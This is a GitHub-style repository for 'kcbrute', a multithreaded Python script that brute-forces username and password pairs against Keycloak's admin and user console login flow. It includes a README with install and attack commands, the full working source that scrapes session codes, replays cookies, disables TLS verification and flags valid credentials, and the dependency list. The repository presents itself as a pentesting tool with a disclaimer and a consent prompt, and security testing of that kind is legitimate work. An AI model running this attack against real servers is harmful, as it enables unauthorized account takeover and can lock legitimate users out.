├── LICENSE ├── README.md ├── kcbrute.py └── requirements.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Panagiotis Chartas (t3l3machus) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Python](https://img.shields.io/badge/Python-%E2%89%A5%203.12-yellow.svg)](https://www.python.org/) 2 | 3 | 4 | [![License](https://img.shields.io/badge/License-MIT-red)](https://github.com/t3l3machus/kcbrute/blob/main/LICENSE) 5 | 6 | 7 | ## Purpose 8 | Basic brute-force script targeting the standard Keycloak Admin/User Console browser login flow. 9 | ![Screenshot 2025-03-27 142402](https://github.com/user-attachments/assets/dd260042-3c4a-4ec1-a917-a42b7cddc11e) 10 | 11 | #### ❗Disclaimer 12 | This script may temporarily and/or permanently lock user accounts if **brute force detection** is enabled on the target Keycloak server. Unauthorized use is illegal. Created For security testing purposes only. You are responsible for your actions. 13 | 14 | ## Installation 15 | ``` 16 | git clone https://github.com/t3l3machus/kcbrute && cd kcbrute && pip3 install -r requirements.txt 17 | ``` 18 | 19 | 20 | ## Usage 21 | 1. Copy the full URL of the target keycloak server you wish to attack. It typically looks something like this: 22 | ``` 23 | https://192.168.1.51:8443/realms/master/protocol/openid-connect/auth?client_id=security-admin-console&redirect_uri=https%3A%2F%2F192.168.1.51%3A8443%2Fadmin%2Fmaster%2Fconsole%2F&state=d47a2004-6749-4651-8955- ae1bd290ad82&response_mode=query&response_type=code&scope=openid&nonce=42c82af0-fb83-4211-90b6-6404226bb092&code_challenge=xqljsSmaLXaBRzouH6LhEq7PaomvhUDE-bNeHSCRd_U&code_challenge_method=S256 24 | ``` 25 | **Important**: If you have visited the login URL in the past, delete all cookies and perform a hard refresh (`CTRL + SHIFT + R`) before copying the URL. 26 | 27 | 2. Fire up `kcbrute` providing the login URL, username and password lists of your choice: 28 | ``` 29 | python3 kcbrute.py -v -l 'https://192.168.1.51:8443/realms/master/protocol/openid-connect/auth?client_id=security-admin-console&redirect_uri=https%3A%2F%2F192.168.1.51%3A8443%2Fadmin%2Fmaster%2Fconsole%2F&state=d47a2004-6749-4651-8955-ae1bd290ad82&response_mode=query&response_type=code&scope=openid&nonce=42c82af0-fb83-4211-90b6-6404226bb092&code_challenge=xqljsSmaLXaBRzouH6LhEq7PaomvhUDE-bNeHSCRd_U&code_challenge_method=S256' -u usernames.txt -p passwords.txt 30 | ``` 31 | 32 | ### Supported options: 33 | ``` 34 | usage: kcbrute.py [-h] -l LOGIN_URL -u USERNAMES_FILE -p PASSWORDS_FILE [-t THREADS] [-r] [-s] [-q] [-v] 35 | 36 | Basic brute-force script targeting the standard Keycloak Admin/User Console browser login flow. 37 | 38 | options: 39 | -h, --help show this help message and exit 40 | 41 | BASIC OPTIONS: 42 | -l LOGIN_URL, --login-url LOGIN_URL 43 | Full Keycloak OpenID Authorization Endpoint URL to attack (Typically something like: https://keycloak.example.com/realms/{REALM}/protocol/openid- 44 | connect/auth?client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}&state={UUID}&response_mode={MODE}&response_type={TYPE}&scope=openid&nonce={UUID}&code_challenge={TOKEN}&code_challenge_method={TYPE} ). 45 | -u USERNAMES_FILE, --usernames-file USERNAMES_FILE 46 | File containing a usernames list. 47 | -p PASSWORDS_FILE, --passwords-file PASSWORDS_FILE 48 | File containing a passwords list. 49 | -t THREADS, --threads THREADS 50 | Number of threads to use. 51 | -r, --accept-risk By selecting this option, you consent to attacking the host. 52 | -s, --success-stop Stop upon finding a valid pair. 53 | 54 | OUTPUT: 55 | -q, --quiet Do not print the banner on startup. 56 | -v, --verbose Verbose output. 57 | 58 | ``` 59 | 60 | -------------------------------------------------------------------------------- /kcbrute.py: -------------------------------------------------------------------------------- 1 | import requests, re, argparse, validators, os, threading, concurrent.futures, urllib3 2 | from bs4 import BeautifulSoup 3 | from urllib.parse import urlparse, parse_qs 4 | from requests.exceptions import ConnectionError 5 | from pathlib import Path 6 | from time import sleep 7 | 8 | # Suppress InsecureRequestWarning 9 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 10 | 11 | ''' Colors ''' 12 | MAIN = '\033[38;5;50m' 13 | GREEN = '\033[38;5;82m' 14 | ORNG = '\033[0;38;5;214m' 15 | PURPLE = '\033[0;38;5;141m' 16 | RED = '\033[1;31m' 17 | RST = '\033[0m' 18 | BOLD = '\033[1m' 19 | GR = '\033[38;5;244m' 20 | INPUT = f'[{ORNG}!{RST}]' 21 | SCS = f'[{GREEN}Success{RST}]' 22 | INFO = f'[{MAIN}Info{RST}]' 23 | INV = f'[{GR}Invalid{RST}]' 24 | ERR = f'[{RED}Error{RST}]' 25 | DEBUG = f'[{ORNG}Debug{RST}]' 26 | OOPS = f'[{RED}Oops!{RST}]' 27 | 28 | 29 | def do_nothing(): 30 | pass 31 | 32 | 33 | def is_valid_url(url): 34 | return validators.url(url) 35 | 36 | 37 | def debug(msg): 38 | print(f'{DEBUG} {msg}') 39 | exit(1) 40 | 41 | # -------------- Arguments -------------- # 42 | parser = argparse.ArgumentParser( 43 | description="Basic brute-force script targeting the standard Keycloak Admin/User Console browser login flow." 44 | ) 45 | basic_group = parser.add_argument_group('BASIC OPTIONS') 46 | basic_group.add_argument("-l", "--login-url", action="store", help = "Full Keycloak OpenID Authorization Endpoint URL to attack (Typically something like: \nhttps://keycloak.example.com/realms/{REALM}/protocol/openid-connect/auth?client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}&state={UUID}&response_mode={MODE}&response_type={TYPE}&scope=openid&nonce={UUID}&code_challenge={TOKEN}&code_challenge_method={TYPE} ).", type = str, required = True) 47 | basic_group.add_argument("-u", "--usernames-file", action="store", help = "File containing a usernames list.", required = True) 48 | basic_group.add_argument("-p", "--passwords-file", action="store", help = "File containing a passwords list.", required = True) 49 | basic_group.add_argument("-t", "--threads", action="store", help = "Number of threads to use.", type = int) 50 | basic_group.add_argument("-r", "--accept-risk", action="store_true", help = "By selecting this option, you consent to attacking the host.") 51 | basic_group.add_argument("-s", "--success-stop", action="store_true", help = "Stop upon finding a valid pair.") 52 | 53 | output_group = parser.add_argument_group('OUTPUT') 54 | output_group.add_argument("-q", "--quiet", action="store_true", help = "Do not print the banner on startup.") 55 | output_group.add_argument("-v", "--verbose", action="store_true", help = "Verbose output.") 56 | 57 | args = parser.parse_args() 58 | 59 | login_url = args.login_url 60 | 61 | if not is_valid_url(login_url): 62 | debug('Invalid login_url.') 63 | 64 | # Threading 65 | if isinstance(args.threads, int): 66 | if args.threads <= 0: 67 | debug('Number of threads must be a positive integer.') 68 | 69 | max_threads = 10 if not args.threads else args.threads 70 | thread_limiter = threading.BoundedSemaphore(max_threads) 71 | stop_event = threading.Event() 72 | lock = threading.Lock() 73 | count = 0 74 | 75 | # Standard headers for the login requests 76 | gen_login_req_headers = { 77 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0", 78 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 79 | "Accept-Language": "en-US,en;q=0.5", 80 | "Accept-Encoding": "gzip, deflate, br", 81 | "Content-Type": "application/x-www-form-urlencoded" 82 | } 83 | 84 | session = requests.Session() 85 | 86 | # Not used, but might come in handy later 87 | # def parse_keycloak_url(url): 88 | # parsed_url = urlparse(url) 89 | # path_parts = parsed_url.path.strip("/").split("/") 90 | 91 | # # Extract protocol, host, port 92 | # protocol = parsed_url.scheme 93 | # hostname = parsed_url.hostname 94 | # port = parsed_url.port or (443 if protocol == "https" else 80) 95 | 96 | # # Extract realm and connect type 97 | # realm = path_parts[1] if len(path_parts) > 1 and path_parts[0] == "realms" else None 98 | # connect_type = path_parts[3] if len(path_parts) > 3 and path_parts[2] == "protocol" else None 99 | 100 | # # Extract query parameters 101 | # params = {key: value[0] for key, value in parse_qs(parsed_url.query).items()} 102 | 103 | # return { 104 | # "protocol": protocol, 105 | # "hostname": hostname, 106 | # "port": port, 107 | # "realm": realm, 108 | # "connect_type": connect_type, 109 | # "parameters": params 110 | # } 111 | 112 | 113 | def extract_login_action(html_data): 114 | # Extracts the 'action' attribute from the form with id 'kc-form-login' in an http response. 115 | soup = BeautifulSoup(html_data, "html.parser") 116 | form = soup.find("form", id="kc-form-login") 117 | return form["action"] if form and "action" in form.attrs else None 118 | 119 | 120 | def extract_session_code(url): 121 | # Extracts the value of the 'session_code' parameter from a URL. 122 | parsed_url = urlparse(url) 123 | query_params = parse_qs(parsed_url.query) 124 | return query_params.get("session_code", [None])[0] 125 | 126 | 127 | def get_file_contents(path): 128 | expanded_path = os.path.expanduser(path) 129 | if Path(expanded_path).exists(): 130 | f = open(expanded_path, 'r') 131 | contents = f.read() 132 | f.close() 133 | return [w for w in contents.split('\n') if len(w)] 134 | else: 135 | False 136 | 137 | 138 | def login_request(action_url, username, passwd, cookies): 139 | try: 140 | data = { 141 | "username": f"{username}", 142 | "password": f"{passwd}", 143 | "credentialId": f"" 144 | } 145 | 146 | res = session.post(action_url, verify = False, allow_redirects = False, headers = gen_login_req_headers, cookies = cookies, data = data) 147 | if res.status_code == 302: 148 | # Normal successful login indicator, for accounts without required actions set. 149 | if "Set-Cookie" in res.headers.keys(): 150 | if 'KEYCLOAK_IDENTITY' in res.headers["Set-Cookie"]: 151 | print(f'{SCS} {BOLD}{username} : {passwd}{RST}') 152 | stop_event.set() if args.success_stop else do_nothing() 153 | return 154 | else: 155 | # In most cases, if required actions are set for an account, the Location header value can be used to identify a successful login 156 | required_user_actions = re.findall('login\\-actions\\/required\\-action\\?execution\\=(?:CONFIGURE_TOTP|UPDATE_PASSWORD|UPDATE_PROFILE|VERIFY_EMAIL|webauthn-register|webauthn-register-passwordless|update_user_locale|delete_credential)', res.headers["Location"]) 157 | if required_user_actions: 158 | print(f'{SCS} {BOLD}{username} : {passwd}{RST} ({ORNG}required_user_action = {required_user_actions[0].split("execution=")[1]}{RST})') 159 | stop_event.set() if args.success_stop else do_nothing() 160 | return 161 | else: 162 | print(f'{INV} {GR}{username} : {passwd}{RST}') if (args.verbose and not stop_event.is_set()) else do_nothing() 163 | 164 | except Exception as e: 165 | print(F'{OOPS} Something went wrong: {e}') 166 | 167 | 168 | def kcbrute(username, passwd, login_url): 169 | if stop_event.is_set(): # Check if another thread found a valid pair (-s, --success-stop option) 170 | return 171 | 172 | thread_limiter.acquire() 173 | 174 | try: 175 | if 'KEYCLOAK_IDENTITY' in session.cookies: 176 | session.cookies.clear() 177 | 178 | # Retrieve a fresh session_code 179 | res = session.get(login_url, verify = False, allow_redirects = False) 180 | action_url = extract_login_action(res.text) 181 | if not action_url and not stop_event.is_set(): 182 | print(f"{ERR} Failed to retrieve action_url.") 183 | return 184 | 185 | new_cookies = {} 186 | 187 | try: 188 | res_cookies = res.headers["Set-Cookie"].split(', ') 189 | res_cookies = [v.split(';')[0] for v in res_cookies] 190 | for c in res_cookies: 191 | tmp = c.split("=") 192 | # if tmp[0] not in ['KEYCLOAK_IDENTITY', 'KEYCLOAK_SESSION']: 193 | new_cookies[tmp[0]] = tmp[1] 194 | 195 | except Exception as e: 196 | print(f'{ERR} Failed to set new cookies') 197 | 198 | login_request(action_url, username, passwd, new_cookies) 199 | 200 | except KeyboardInterrupt: 201 | stop_event.set() 202 | 203 | except ConnectionError as e: 204 | print(f"{ERR} Failed to establish a connection: The requested address is not valid in its context.") 205 | 206 | except Exception as e: 207 | print(F'{OOPS} Something went wrong: {e}') 208 | 209 | finally: 210 | global count 211 | with lock: 212 | count += 1 213 | thread_limiter.release() 214 | 215 | 216 | def print_banner(): 217 | 218 | K = [[' ', '┬','┌','┐'], [' ', '├','┴','┐'], [' ', '┴',' ','┴']] 219 | C = [[' ', '┌','─','┐'], [' ', '│', ' ',' ',], [' ', '└','─','┘']] 220 | B = [[' ', '┌','┐',' '], [' ', '├','┴','┐'], [' ', '└','─','┘']] 221 | R = [[' ', '┬','─','┐'], [' ', '├','┬','┘'], [' ', '┴','└','─']] 222 | U = [[' ', '┬',' ','┬'], [' ', '│',' ','│'], [' ', '└','─','┘']] 223 | T = [[' ', '┌','┬','┐'], [' ', ' ','│',' '], [' ', ' ','┴',' ']] 224 | E = [[' ', '┌','─','┐'], [' ', '├','┤',' '], [' ', '└','─','┘']] 225 | 226 | banner = [K,C,B,R,U,T,E] 227 | final = [] 228 | print('\r') 229 | init_color = 31 230 | txt_color = init_color 231 | cl = 0 232 | 233 | for charset in range(0, 3): 234 | for pos in range(0, len(banner)): 235 | for i in range(0, len(banner[pos][charset])): 236 | clr = f'\033[38;5;{txt_color}m' 237 | char = f'{clr}{banner[pos][charset][i]}' 238 | final.append(char) 239 | cl += 1 240 | txt_color = txt_color + 36 if cl <= 3 else txt_color 241 | 242 | cl = 0 243 | 244 | txt_color = init_color 245 | init_color += 31 246 | 247 | if charset < 2: final.append('\n ') 248 | 249 | print(f" {''.join(final)}{RST}\n") 250 | 251 | 252 | def progress(attempts): 253 | while not stop_event.is_set(): 254 | sleep(5) 255 | print(F'{INFO} Login attempts completed: {count}/{attempts} ') 256 | 257 | 258 | def main(): 259 | 260 | try: 261 | print_banner() if not args.quiet else do_nothing() 262 | 263 | # Read the username and password files 264 | print(f'{INFO} Loading username and password lists.') 265 | usernames = get_file_contents(args.usernames_file) 266 | debug('Failed to read usernames file.') if not usernames else do_nothing() 267 | passwords = get_file_contents(args.passwords_file) 268 | debug('Failed to read usernames file.') if not passwords else do_nothing() 269 | users_count = len(usernames) 270 | passwds_count = len(passwords) 271 | attempts = users_count * passwds_count 272 | 273 | # Bruteforce attack 274 | print(f'{INFO} Number of usernames loaded:{RST} {users_count}') 275 | print(f'{INFO} Number of passwords loaded:{RST} {passwds_count}') 276 | print(f'{INFO} Estimated number of queued login attempts:{RST} {attempts}') 277 | print(f'{INFO} Number of threads:{RST} {max_threads}') 278 | 279 | # Consent 280 | if not args.accept_risk: 281 | con = input(f'{INPUT} This action may lock user accounts if brute force detection is enabled on the target server. Unauthorized use is illegal. Continue? [Y/n]: ') 282 | if con.strip().lower() not in ['y', 'yes']: 283 | exit(1) 284 | 285 | print(f'{INFO} Initiating Keycloak credential brute-force attack.') 286 | threading.Thread(target=progress, daemon = True, args=(attempts,)).start() 287 | 288 | with concurrent.futures.ThreadPoolExecutor(max_threads) as executor: 289 | for uname in usernames: 290 | for passwd in passwords: 291 | if stop_event.is_set(): 292 | break 293 | executor.submit(kcbrute, uname, passwd, login_url) 294 | 295 | except KeyboardInterrupt: 296 | stop_event.set() 297 | print(f'\r{INFO} Stopping...') 298 | 299 | except Exception as e: 300 | print(f'{OOPS} Something went really wrong: {e}') 301 | exit(2) 302 | 303 | finally: 304 | print(f'{INFO} Attack completed.') 305 | exit(0) 306 | 307 | 308 | if __name__ == '__main__': 309 | main() 310 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | beautifulsoup4 2 | Requests 3 | urllib3 4 | validators 5 | --------------------------------------------------------------------------------